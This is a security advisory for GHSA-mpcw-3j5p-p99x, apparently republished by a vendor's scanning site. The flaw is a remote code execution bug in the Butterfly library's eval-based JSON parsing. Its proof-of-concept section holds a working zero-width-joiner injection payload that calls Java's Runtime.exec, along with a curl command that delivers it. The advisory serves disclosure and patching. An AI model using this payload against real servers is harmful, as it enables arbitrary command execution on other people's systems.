Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Maven

GHSA-mpcw-3j5p-p99x

Butterfly's parseJSON, getJSON functions eval malicious input, leading to remote code execution (RCE)

Published
Oct 24, 2024
Updated
Dec 4, 2024
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
org.openrefine.dependencies:butterfly

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Usage of the Butterfly.prototype.parseJSON or getJSON functions on an attacker-controlled crafted input string allows the attacker to execute arbitrary JavaScript code on the server.

Since Butterfly JavaScript code has access to Java classes, it can run arbitrary programs.

Details

The parseJSON function (edu/mit/simile/butterfly/Butterfly.js:64) works by calling eval, an approach that goes back to the original library by Crockford, before JSON was part of the ECMAScript language. It uses a regular expression to remove strings from the input, then checks that there are no unexpected characters in the non-string remainder.

However, the regex is imperfect, as was discovered earlier by Mike Samuel; specifically, the "cleaner" can be tricked into treating part of the input as a string that the "evaluator" does not, because of a difference in interpretation regarding the the Unicode zero-width joiner character. Representing that character with a visible symbol, a malicious input looks like:

"\�\", Packages.java.lang.Runtime.getRuntime().exec('gnome-calculator')) // "

This is understood...

  • by JSON_cleaning_RE as a single string, and because it is a string it can be collapsed to nothing, which is not problematic, so the original input proceeds to eval.
  • by the eval function, which ignores zero-width joiners entirely, as a string containing a single escaped backslash, followed by a comma, then a function call, closing parenthesis, and finally a line comment.

The function call is evaluated, and a calculator is opened.

Possible mitigations and additional defenses could include:

  • Replacing the JSON implementation with Rhino's built-in implementation.
  • Dropping all JSON-related and JSONP-related code entirely.
  • Restricting the access the JavaScript controller code has to the rest of the system by using initSafeStandardObjects instead of initStandardObjects, using setClassShutter, and so on.

PoC

Change OpenRefine core controller.js to add a call to the vulnerable getJSON function:

diff --git a/main/webapp/modules/core/MOD-INF/controller.js b/main/webapp/modules/core/MOD-INF/controller.js
index 4ceba0676..1ce0936d2 100644
--- a/main/webapp/modules/core/MOD-INF/controller.js
+++ b/main/webapp/modules/core/MOD-INF/controller.js
@@ -631,0 +632,5 @@ function process(path, request, response) {
+    if (path == "getjsontest") {
+      butterfly.getJSON(request);
+      return true;
+    }
+

Then, restart OpenRefine and submit the malicious request. For example, the following bash command (with $' quoting) should do it:

curl -H 'Content-Type: application/json;charset=utf-8' --data $'"\\\u200d\\", Packages.java.lang.Runtime.getRuntime().exec(\'gnome-calculator\')) // "' http://localhost:3333/getjsontest

Impact

Any JavaScript controller that calls one of these functions is vulnerable to remote code execution.

OpenRefine itself seems unaffected; both OpenRefine and jQuery have their own functions also called parseJSON and getJSON, but those are unrelated.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
Mavenorg.openrefine.dependencies:butterflyall versions1.2.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.openrefine.dependencies:butterfly. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update org.openrefine.dependencies:butterfly to 1.2.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mpcw-3j5p-p99x is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-mpcw-3j5p-p99x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-mpcw-3j5p-p99x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Usage of the `Butterfly.prototype.parseJSON` or `getJSON` functions on an attacker-controlled crafted input string allows the attacker to execute arbitrary JavaScript code on the server. Since Butterfly JavaScript code has access to Java classes, it can run arbitrary programs. ### Details The `parseJSON` function (edu/mit/simile/butterfly/Butterfly.js:64) works by calling `eval`, an approach that goes back to the original library by Crockford, before JSON was part of the ECMAScript language. It uses a regular expression to remove strings from the input, then checks that there a
O3 Security · Impact-Aware SCA

Is GHSA-mpcw-3j5p-p99x in your dependencies?

O3 detects GHSA-mpcw-3j5p-p99x across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.